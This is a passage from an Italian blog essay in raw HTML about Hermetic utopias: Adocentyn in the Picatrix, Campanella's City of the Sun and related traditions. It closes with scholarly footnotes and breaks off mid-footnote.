colonne senza pareti<\/i>. Sopra l&#8217;altare del Tempio vi \u00e8 un Mappamondo assai grande dove tutto il<i> Cielo \u00e8 dipinto <\/i>e un altro dove \u00e8 la Terra. [\u2026] Vi sono sempre accese 7 lampade coi nomi dei 7 Pianeti. \u00bb.<\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\">La <i>Citt\u00e0 del Sole<\/i> di <i>Campanella<\/i> funziona dunque \u201cin accordo con le Stelle\u201d per produrre <i>Felicit\u00e0, Prosperit\u00e0 <\/i>e<i> Virt\u00f9<\/i> per i suoi Cittadini, esattamente come <i>Adocentyn. <\/i>Il Sovrano della Citt\u00e0, chiamato il <i>Metafisico, <\/i>governa come <i>Ermete Trismegisto<\/i> sulla Religione, sulla Scienza e sulle Leggi. Egli esercita il suo potere attraverso 3 Dignitari <i>Pon<\/i>, <i>Sin<\/i> e <i>Mor<\/i>, ovvero il Trinomio del Bene Supremo, <i>Potenza, Sapienza <\/i>e <i>Amore,<\/i> mentre tutta la Conoscenza del Mondo \u00e8 scritta sulle pareti della Citt\u00e0, perch\u00e9 tutti possano usufruirne, questo perch\u00e9 la causa di tutti i Mali del Mondo \u00e8 l&#8217;Ignoranza, per cui la Conoscenza, che \u00e8 il Bene supremo, va coltivata. I <i>Solariani<\/i> non sono per\u00f2 dei semplici eruditi, ma veri e propri studiosi che inventano macchine sofisticate e si comportano come Maghi e Proto-Scienziati che sanno come <i>portare in Terra<\/i> i benefici influssi celesti a beneficio dell&#8217;Umanit\u00e0. Non sono ancora autentici scienziati-filosofi come i <i>Neo Atlantidei<\/i> di Bacon, ma comunque, come gli <i>Utopiani<\/i> di Moore, \u00abnon trovano piacere pi\u00f9 grande che sollevare il velo che cela i segreti della Natura persuasi che Dio, il pi\u00f9 grande degli artisti, lieto di vedere ammirate le sue Opere, \u00e8 grato degli sforzi che essi compiono per studiare il suo operato lodando la sua perfezione, anzich\u00e9 tenere sempre gli occhi rivolti verso terra senza osare spezzare con il pensiero i legami che alla terra li avvinghiano<span style=\"font-size: medium;\"><a class=\"sdfootnoteanc\" href=\"#sdfootnote37sym\" name=\"sdfootnote37anc\"><sup>37<\/sup><\/a><\/span>\u00bb.<\/p>\n<p lang=\"it-IT\" style=\"text-align: center;\" align=\"JUSTIFY\"><span style=\"font-size: 18pt; color: #000000;\"><b>IN VIAGGIO VERSO ADOCENTYN<\/b><\/span><\/p>\n<figure id=\"attachment_4961\" aria-describedby=\"caption-attachment-4961\" style=\"width: 429px\" class=\"wp-caption alignleft\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4961\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2024\/08\/l_affascinante_sapiente.jpg\" alt=\"\" width=\"429\" height=\"406\" srcset=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2024\/08\/l_affascinante_sapiente.jpg 719w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2024\/08\/l_affascinante_sapiente-300x284.jpg 300w\" sizes=\"auto, (max-width: 429px) 100vw, 429px\" \/><figcaption id=\"caption-attachment-4961\" class=\"wp-caption-text\">Elaborazione artistica contemporanea (Photoshop + AI) \u00a9 Elena Odorizzi, 2025<\/figcaption><\/figure>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-size: 12pt;\">Che ne \u00e8 Oggi di <i>Adocentyn<\/i>? Che ne \u00e8 del \u00abParadiso degli Ermetisti\u00bb? La \u00abNuova Ermopoli\u00bb, il Mondo Perfetto, dove la fame, l&#8217;ignoranza, le malattie e il male sono stati \u00abmagicamente\u00bb sconfitti? Ma soprattutto: qualcuno \u00e8 mai riuscito a trovarla?<\/span><\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-size: 12pt;\">Di certo in Molti l&#8217;hanno cercata e ancora la cercano e sicuramente in Molti l&#8217;hanno trovata, perch\u00e9 <i>Adocentyn<\/i> non \u00e8 un luogo immaginario, ma un <i>ideale luminoso<\/i> verso il quale Tutti possono <i>mettersi in Cammino,<\/i> senza paura<i>.<\/i> <i>Adocentyn<\/i> non \u00e8 infatti n\u00e9 un&#8217;<i>Illusione<\/i>, n\u00e9 una <i>Dittatura Fantascientifica<\/i> come temeva la <i>Yates<\/i>, anche se certamente \u00e8 un&#8217;Utopia. La <i>Magia<\/i> di <i>Ermete<\/i> non impone niente a nessuno, non c&#8217;\u00e8 alcuna \u00abipnosi di massa\u00bb basata sul \u00abCulto dell&#8217;Immagine\u00bb e neanche una qualche <i>pseudo<\/i>&#8211;<i>Congrega di Saggi <\/i>egocentrici che decidono chi pu\u00f2 entrarvi e chi no, cosa bisogna dire o cosa bisogna fare e pensare. Il suo <i>stato paradisiaco<\/i> non dipende da un \u201cartificio magico\u201d, ma dalla sua stessa Natura di <i>Templum<\/i>, cio\u00e8 di luogo Sacro nel quale il Cielo e la Terra si incontrano, si amano e si uniscono riflettendosi l&#8217;uno nell&#8217;altro. <i>Adocentyn<\/i> \u00e8 sinonimo di <i>Armonia<\/i>. \u00c8 \u00abl&#8217;ottimo luogo in nessun luogo\u00bb e come la <i>Speranza<\/i> che pu\u00f2 essere trovata ovunque la si cerchi, anche quando sembra non poter pi\u00f9 esistere da nessuna parte. <\/span><\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-size: 12pt;\">Cercare <i>Adocentyn<\/i> non \u00e8 un modo per scappare dalla realt\u00e0 che ci circonda, per trovare un rifugio nel quale nasconderci dalle difficolt\u00e0 della vita, ma al contrario \u00e8 un invito a compiere, con coraggio, un Viaggio che ci condurr\u00e0 a cambiare prospettiva su noi stessi e quanto ci circonda. Solo, infatti, quando avremo sviluppato consapevolezza ed empatia, quando saremo divenuti capaci di autoregolarci e autogestirci, quando avremo imparato a trovare Equilibrio, Forza e Saggezza dentro di noi, ne diverremo Cittadini e<i> <\/i>come il <i>Grande<\/i> <i>Ermete<\/i> potremo proiettare la Luce dei nostri <i>Pianeti<\/i> e delle nostre <i>Costellazioni interiori<\/i> nel quotidiano, trasformando <i>Tutto<\/i> il <i>Mondo<\/i> in <i>Adocentyn<\/i>, tutto il mondo in un posto migliore.<\/span><\/p>\n<p lang=\"it-IT\" style=\"text-align: right;\" align=\"JUSTIFY\">di ARTHEA (Elena Frasca Odorizzi), Illustratrice e Saggista, \u00a9 Tutti i Diritti Riservati<\/p>\n<hr>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-size: 12pt;\">NOTE:<\/span><\/p>\n<div id=\"sdfootnote1\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote1anc\" name=\"sdfootnote1sym\">1<\/a>ILARIA BELTRAMME, <i>La Societ\u00e0 degli Eretici<\/i>, Roma, Newton Compton, 2013. (Romanzo)<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote2\">\n<p class=\"sdfootnote\" lang=\"it-IT\" style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote2anc\" name=\"sdfootnote2sym\">2<\/a>Il titolo originale del Picatrix \u00e8 <i>G\u0101yat-al-hak\u012bm<\/i>, lett. <i>il Fine del Saggio<\/i>, ed \u00e8 attribuito a Ab\u016b- Maslama Muhammad ibn Ibrahim ibn &#8216;Abd al-da&#8217;im al-Majr\u012bt\u012b, oriundo di Cordova, morto nel 1007-8 d.C. In base alle fonti l&#8217;opera risulta tradotta \u201cde arabico in hispanicum\u201d nel 1256, sotto il regno di Alfonso X di Castiglia, detto il Savio. Nonostante la condanna della Chiesa troviamo il <i>Picatrix<\/i> nelle biblioteche dei pi\u00f9 importanti studiosi del Rinascimento, da <i>Pico della Mirandola<\/i> e <i>Marsilio Ficino<\/i> a Enrico Cornelio Agrippa, ecc.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote3\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote3anc\" name=\"sdfootnote3sym\">3<\/a>Traduzione tratta da due libri diversi: 1)<i> Picatrix: Ghayat- al-hakim, &#8220;Il fine del saggio&#8221; dello Pseudo Maslama Al-Magriti<\/i>, a cura di Paolo Aldo Rossi, Mimesis, Milano, 2000, p. 227, Libro IV, Paragrafo III; 2) FRANCES AMELIA YATES, <i>Giordano Bruno e la Tradizione Ermetica<\/i>, traduzione di R. Pecchioli, Roma-Bari, Laterza, 1969, p. 80-87.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote4\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote4anc\" name=\"sdfootnote4sym\">4<\/a>Testo Latino tratto da: <span lang=\"it-IT\"><i>Picatrix: The Latin Version of the Ghayat Al-Hakim<\/i><\/span>, edited by David Pingree, University of London, Warburg Institute, printed in England, w. s. Maney and Son Limited, Leeds, 1986, http:\/\/warburg.sas.ac.uk\/pdf\/fbh295b2205454.pdf<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote5\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote5anc\" name=\"sdfootnote5sym\">5<\/a>ZOSIMO DI PANOPOLI, <i>Visioni e Risvegli<\/i>, a cura di Angelo Tonelli, Milano, BUR, 2004, pp. 126-139.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote6\">\n<p class=\"sdfootnote\" style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote6anc\" name=\"sdfootnote6sym\">6<\/a>Nel Picatrix si afferma che il<i> Potere dei Talismani<\/i> \u00e8 simile a quello della Pietra Filosofale, dell\u2019Elisir, che domina la materia e la altera trasmutandola in un altra materia pi\u00f9 pura. La similitudine si baserebbe sul fatto che le <i>Immagini Talismaniche<\/i> fanno ci\u00f2 per mezzo della \u00abviolenza\u00bb, cio\u00e8 vengono costruite secondo il <span lang=\"it-IT\">momento \u201castronomicamente opportuno\u201d, usando specifiche erbe, pietre, incensi, ecc, che obbligano gli spiriti vitali delle relative divinit\u00e0 astrali a entrare in relazione di simpatia con questi \u201cCorpi\u201d nei quali vengono attratti e restano imprigionati. <\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote7\">\n<p class=\"sdfootnote\" style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote7anc\" name=\"sdfootnote7sym\">7<\/a>La Tradizione Medievale, attraverso la famosa <i>Tavola di Smeraldo<\/i>, ci fa sapere che <i>Ermete<\/i> era chiamato <i>Tre Volte Grandissimo<\/i> (Trismegisto), perch\u00e9 governava sulle tre parti della Saggezza e delle Leggi del mondo.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote8\">\n<p class=\"sdfootnote\" style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote8anc\" name=\"sdfootnote8sym\">8<\/a><span lang=\"it-IT\">I Miti che raccontano le imprese di <\/span><span lang=\"it-IT\"><i>Thot,<\/i><\/span><span lang=\"it-IT\"> lo descrivono come un Dio esperto in Astronomia, Mago e Medico per eccellenza. Era infatti chiamato: \u00abil Contatore delle Stelle\u00bb, \u00abil Numeratore della Terra\u00bb, \u00abDio degli Scribi e della Scrittura geroglifica\u00bb (cio\u00e8 del <\/span><span lang=\"it-IT\"><i>segno evocativo,<\/i><\/span><span lang=\"it-IT\"> dell&#8217;immagine concettuale) e \u00abSignore delle Parole Divine\u00bb, cio\u00e8 delle Parole di Potere con cui \u00e8 possibile dar forma e potenza al pensiero. <\/span><span lang=\"it-IT\">ADA RUSSO PAVAN<\/span><span lang=\"it-IT\">, <\/span><span lang=\"it-IT\"><i>Iniziazione ai Culti Egizi, divinit\u00e0, Simboli, rituali, magia, amuleti, invocazioni,<\/i><\/span><span lang=\"it-IT\"> Roma, Mediterranee, 2000.<\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote9\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote9anc\" name=\"sdfootnote9sym\">9<\/a><span lang=\"it-IT\"><i>Thot<\/i><\/span><span lang=\"it-IT\"> a<\/span> <i>Eliopoli<\/i> faceva invece parte della <i>Piccola<\/i> <i>Enneade<\/i> (a volte della <i>Grande Enneade<\/i>) aiutando <i>Osiride<\/i> nel giudizio dei Defunti nell&#8217;Aldil\u00e0. <span lang=\"it-IT\"><i>Osiride<\/i><\/span><span lang=\"it-IT\"> viene spesso associato dagli Esoteristi al <\/span><span lang=\"it-IT\"><i>Sole Nero<\/i><\/span><span lang=\"it-IT\">, al <\/span><span lang=\"it-IT\"><i>Sole dell&#8217;Oltretomba<\/i><\/span><span lang=\"it-IT\">, ma questo \u00e8 sbagliato perch\u00e9 <\/span><span lang=\"it-IT\"><i>Osiride<\/i><\/span><span lang=\"it-IT\">, il <\/span><span lang=\"it-IT\"><i>Sempreverde<\/i><\/span><span lang=\"it-IT\">, in realt\u00e0 \u00e8 il <\/span><span lang=\"it-IT\"><i>Dio della Vegetazione, <\/i><\/span><span lang=\"it-IT\">\u00e8 legato al Sole perch\u00e9 <\/span><span lang=\"it-IT\">\u00e8 il Seme che muore e risorge seguendo i Cicli delle Stagioni. <\/span><span lang=\"it-IT\"><i>Thot <\/i><\/span><span lang=\"it-IT\">\u00ab<\/span><span lang=\"it-IT\">fa le veci del Sole di Notte\u00bb, quando Ra, il vero Dio Solare, viaggia nell&#8217;oltretomba per riemergere al mattino.<\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote10\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote10anc\" name=\"sdfootnote10sym\">10<\/a>FRANCES AMELIA YATES, <i>Giordano Bruno e la Tradizione Ermetica<\/i>, op. cit., p. 84 e pp. 80-87.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote11\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote11anc\" name=\"sdfootnote11sym\">11<\/a>ELENA FRASCA ODORIZZI, <i>Rasnal Truth. Un Gioco Archetipico di Ispirazione Etrusca<\/i>, ilmiolibro.it, Roma, 2013, pp. 25-46, (<i>L&#8217;Etrusca Disciplina e il Templum Etrusco<\/i>).<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote12\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote12anc\" name=\"sdfootnote12sym\">12<\/a>Vedi i Popoli di Epoca Megalitica, <span lang=\"it-IT\">Mesopotamici, Egizi, Etruschi, Romani, Maya, Aztechi, ecc.<\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote13\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote13anc\" name=\"sdfootnote13sym\">13<\/a><span lang=\"it-IT\">\u00abMagicam operari aliud non est quam maritare mundum\u00bb (la Magia non \u00e8 altro che operare un Matrimonio Cosmico) <\/span>dice il Pico nella sua famosissima <i>XIII Conclusione Magica<\/i>, ribadendo poi nell&#8217;<i>Apologia<\/i> &#8220;il Ministro&#8221; di questo Matrimonio tra Terra e Cielo \u00e8 il <i>Mago <\/i>che opera &#8220;actuando vel uniendo virtutes naturales&#8221; (mettendo in pratica e unendo virt\u00f9 naturali), cio\u00e8 mettendo in pratica l&#8217;Opera Demiurgica che il Pimandro affida al Trismegisto dopo overlo istruito sul Senso e la Natura del Tutto.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote14\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote14anc\" name=\"sdfootnote14sym\">14<\/a>Il numero 23 \u00e8 costitutio dalle cifre 2 e 3, che per i <span lang=\"it-IT\">Pitagorici rappresentavano i principi costitutivi dell&#8217;Unit\u00e0 primordiale e divina del nostro Mondo. Sommando il 2 (il primo dei numeri pari) e il 3 (il primo dei numeri dispari) otteniamo infatti una<\/span><span lang=\"it-IT\"><i> ierogamia aritmetica<\/i><\/span><span lang=\"it-IT\"> che si manifesta nel sacro numero 5, chiamato \u00abassenza di contesa\u00bb in quanto espressione matematica della Dea Armonia. Su <\/span><span lang=\"it-IT\"><i>Adocentyn <\/i><\/span><span lang=\"it-IT\">brilla dunque una Stella che riversa sulla Citt\u00e0 la sua capacit\u00e0 di armonizzare gli opposti.<\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote15\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote15anc\" name=\"sdfootnote15sym\">15<\/a>Il <i>Cosmo Filosofico Ellenistico <\/i>\u00e8 la rielaborazione finale di tutte le conoscenze magico-misteriche del mondo egizio-mesopotamico, filtrate dalla Cultura Greca. I <span lang=\"it-IT\">nomi dei 7 Pianeti, cos\u00ec come li conosciamo, sono la traslitterazione Latina dei nomi degli D\u00e8i Greci.<\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote16\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote16anc\" name=\"sdfootnote16sym\">16<\/a><span lang=\"it-IT\">Se corrispondesse all&#8217;omonima costellazione del <\/span><span lang=\"it-IT\"><i>Cane Maggiore<\/i><\/span><span lang=\"it-IT\"> spiegherebbe l&#8217;elemento Acqua. <\/span>La &#8220;can\u00eccola&#8221; rappresenta infatti il periodo di caldo afoso e opprimente delle ore centrali della giornata, caratterizzato da alti valori di temperatura e umidit\u00e0 e assenza di vento. Il nome deriva dal latino Canicula (&#8220;piccolo cane&#8221;), ovvero la stella pi\u00f9 luminosa (Sirio) della costellazione del <i>Canis Maior<\/i>, che sorge e tramonta con il Sole (levata eliaca) dal 24 luglio al 26 agosto (il periodo appunto della &#8220;can\u00eccola&#8221;). Il nome della costellazione deriva probabilmente dagli antichi Egizi, in quanto avvertiva (come un cane vigile) l&#8217;arrivo del periodo delle inondazioni del Nilo.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote17\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote17anc\" name=\"sdfootnote17sym\">17<\/a><span lang=\"it-IT\">Se il Cane si riferisse alla Stella <\/span><span lang=\"it-IT\"><i>Sothis<\/i><\/span><span lang=\"it-IT\">, e quindi a <\/span><span lang=\"it-IT\"><i>Iside<\/i><\/span><span lang=\"it-IT\">, avremmo il nostro \u201cAngelo\u201d.<\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote18\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote18anc\" name=\"sdfootnote18sym\">18<\/a>Un altro altro Culto Misterico, di natura sincretistica, nel quale sono utilizzate <i>Parole di Passo<\/i> per accedere a Mondi Superiori attraverso una Via Planetaria \u00e8 il <i>Culto di Mithra<\/i>. Questa concezione conflu\u00ec poi, in modo confuso, nello <i>Gnosticismo<\/i>.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote19\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote19anc\" name=\"sdfootnote19sym\">19<\/a>GIAMBLICO, <i>I Misteri dell\u2019Egitto<\/i>, Como, Red Edizioni, 1999.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote20\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote20anc\" name=\"sdfootnote20sym\">20<\/a>La traduzione latina dell&#8217;<i>Asclepiu<\/i>s viene fatta risalire al IV sec. d.C., in quanto viene usata da <i>S. Agostino<\/i> e non da <i>Lattanzio<\/i>, che lavora ancora direttamente sull&#8217;originale greco. Ritroviamo l&#8217;<i>Asclepius<\/i> nel <i>Corpus Hermeticum<\/i> raccolto e collezionato intorno al 1050 circa, dallo studioso bizantino <i>Michele Psello<\/i> il quale rimosse probabilmente elementi strettamente magici e alchemici, rendendo il <i>Corpus<\/i> pi\u00f9 accettabile per la Chiesa Cristiana Ortodossa.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote21\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote21anc\" name=\"sdfootnote21sym\">21<\/a><span lang=\"it-IT\">Questa sorta di <\/span><span lang=\"it-IT\"><i>Albero Cosmico <\/i><\/span><span lang=\"it-IT\">che produce ogni genere di frutto, quasi custodisse il DNA di ogni pianta, ricorda gli Alberi Alchemici sui <\/span>quale sono presenti i simboli dei 7 Pianeti e dei 7 Metalli. Quella dell&#8217;Albero \u00e8 infatti una immagine ricorrente nell&#8217;Alchimia, anche semplicemente per indicare l&#8217;<i>Opera della Natura<\/i>, rispetto all&#8217;<i>Opera Artificiale <\/i>o<b> <\/b><i>Imitativa <\/i>dell&#8217;Essere Umano.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote22\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote22anc\" name=\"sdfootnote22sym\">22<\/a><i>Ficino<\/i>, nel suo<i> Argumentum<\/i> preposto al <i>Pimander<\/i>, lo interpreta similmente. R<span lang=\"it-IT\">ifacendosi a Cicerone scrisse anche che<\/span><span lang=\"it-IT\"><i> Ermete \u201c<\/i><\/span><span lang=\"it-IT\">dette leggi e lettere agli Egizi\u201d e fond\u00f2 la citt\u00e0 di <\/span><span lang=\"it-IT\"><i>Ermopoli<\/i><\/span><span lang=\"it-IT\">. <\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote23\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"color: #333333; font-size: 10pt;\"><a class=\"sdfootnotesym\" style=\"color: #333333;\" href=\"#sdfootnote23anc\" name=\"sdfootnote23sym\">23<\/a><span lang=\"it-IT\">MICHELE PSELLO<\/span><span lang=\"it-IT\"><i>, Oracoli Caldaici, con appendici su Proclo e Michele Italo, a cura di Silvia Lanzi,I Cabiri, Milano, Mimesis, 2001,<\/i><\/span><i> <\/i><span lang=\"it-IT\">fr.153.<\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote24\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote24anc\" name=\"sdfootnote24sym\">24<\/a>Anche <i>Ermete<\/i>, in uno dei suoi libri dice che \u00abse onorerai ciascun Decano con la propria Pietra, la propria Pianta e la relativa Immagine, tu possiederai un potente Talismano. Poich\u00e9 niente accade senza il volere dei Decani, dato che in esso il Tutto si compie\u00bb.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote25\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote25anc\" name=\"sdfootnote25sym\">25<\/a>ERMETE TRISMEGISTO,<i> Corpo Ermetico e Asclepio,<\/i> a cura di Bianca Maria Tordini Portogalli, Milano, SE, 1997, pp. 134-138.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote26\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote26anc\" name=\"sdfootnote26sym\">26<\/a>Soprattutto il Dio mesopotamico <i>Sin<\/i>, che \u00e8 una divinit\u00e0 Maschile e Lunare come il dio <i>Thot<\/i>.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote27\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote27anc\" name=\"sdfootnote27sym\">27<\/a>Vedi <i>Manuale di Storia della Filosofia Medievale, Cultura Harranica<\/i>, http:\/\/www.unisi.it\/ricerca\/prog\/fil-med-online\/temi\/htm\/harran.htm, JACK LINDSAY, <i>Le origini dell\u2019Alchimia nell\u2019Egitto Greco-Romano<\/i>, Roma, Mediterrane, 1984, p. 182 ; ARISLEO,<b> <\/b><i>La turba dei filosofi seguita dal discorso di un anonimo sulla turba, <\/i>Biblioteca Ermetica , Roma, Mediterranee, 2002, p. 15, Introduzione e Commento di Paolo Lucarelli. Cfr. anche MICHELA PEREIRA, <i>Arcana Sapienza<\/i>, Roma, Carocci, 2001, pp. 79-80.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote28\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote28anc\" name=\"sdfootnote28sym\">28<\/a> LIBANIO DI ANTIOCHIA, <i>In Difesa dei Templi<\/i>.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote29\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote29anc\" name=\"sdfootnote29sym\">29<\/a><b>\u00ab <\/b>Il Serapeo, il cui splendore \u00e8 tale che le semplici parole possono solamente sminuirlo, \u00e8 talmente ornato di grandi sale colonnate, di statue che sembrano vive e tanta moltitudine di altre opere, che niente altro, eccetto il Campidoglio, simbolo dell&#8217;eternit\u00e0 della venerabile Roma, pu\u00f2 essere considerato pi\u00f9 fastoso al mondo.<b>\u00bb<\/b> AMMIANO MARCELLINO, <i>Res Gestae<\/i>, XXII, 16.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote30\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote30anc\" name=\"sdfootnote30sym\">30<\/a>Dalla struttura diroccata di questa Torre, secondo alcuni studiosi deriverebbe l&#8217;immagine iconografica del <i>Tarocco<\/i> della <i>Torre<\/i>. Allo stesso modo i due Pilastri dell&#8217;<i>Arcano della Luna <\/i>sarebbero un richiamo ai <i>Pilastri della Conoscenza<\/i> della citt\u00e0 di<i> Edessa<\/i>, l&#8217;antica <i>Ur<\/i>, ricostruiti nel I secolo sul luogo dove la leggenda riferisce che <i>Nimrod<\/i>, il costruttore della citt\u00e0 di <i>Babele<\/i> (e per la Bibbia della sua famosa Torre), avesse innalzato due pilastri contenenti <i>la sintesi di tutta la scienza dei cieli di prima del diluvio<\/i> (cos\u00ec come riportato anche da Giuseppe Flavio). Pilastri che ricordano i due pilastri posti di fronte al tempio di Gerusalemme, compresi i Dadofori del Tempio di Mithra, passati poi nei Templi Massonici.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote31\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote31anc\" name=\"sdfootnote31sym\">31<\/a><span lang=\"it-IT\">A questo proposito \u00e8 necessario aprire una parantesi sulla tanto famosa <\/span><span lang=\"it-IT\"><i>Torre degli Yazidi<\/i><\/span><span lang=\"it-IT\">, facente parte delle \u00abSette Torri di Satana\u00bb c<\/span><em><span lang=\"it-IT\">itate da Guenon. Che nel Mondo ci siano persone che non vogliono certo il benessere e il progresso dell&#8217;Umanit\u00e0, siamo tutti d&#8217;accordo, ma attaccare etichette a un popolo e perpetrare razzismo, ignoranza e violenza, \u00e8 un&#8217;altra cosa. <\/span><\/em><span lang=\"it-IT\">Gli <\/span><span lang=\"it-IT\"><i>Yaziti<\/i><\/span><span lang=\"it-IT\"> discendono degli Assiri, il loro Santuario si trova sul <\/span><span lang=\"it-IT\"><i>Monte Lalish<\/i><\/span><span lang=\"it-IT\"> dove un tempo si trovava la citt\u00e0 di <\/span><span lang=\"it-IT\"><i>Ninive<\/i><\/span><span lang=\"it-IT\">. Nella loro religione sono confluiti, nel tempo, <\/span><em><span lang=\"it-IT\">elementi di giudaismo cabalistico, zoroastrismo e misticismo islamico, ma ovviamente il substrato \u00e8 di origine Caldea. Se esiste una fantomatica <\/span><\/em><em><span lang=\"it-IT\"><i>T<\/i><\/span><\/em><span lang=\"it-IT\"><i>orre degli Yaziti <\/i><\/span><span lang=\"it-IT\">questa trae evidentemente origine dalle Torri Astronomiche mesopotamiche, senza contare che il <\/span><span lang=\"it-IT\"><i>Pavone<\/i><\/span><span lang=\"it-IT\">, l&#8217;animale con cui si manifesta \u201cl&#8217;angelo caduto\u201d degli Yaziti, per gli Ermetisti \u00e8 uno dei simboli alchemici della Grande Opera che si manifesta attraverso la ruota dei 7 colori dei Pianeti.<\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote32\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote32anc\" 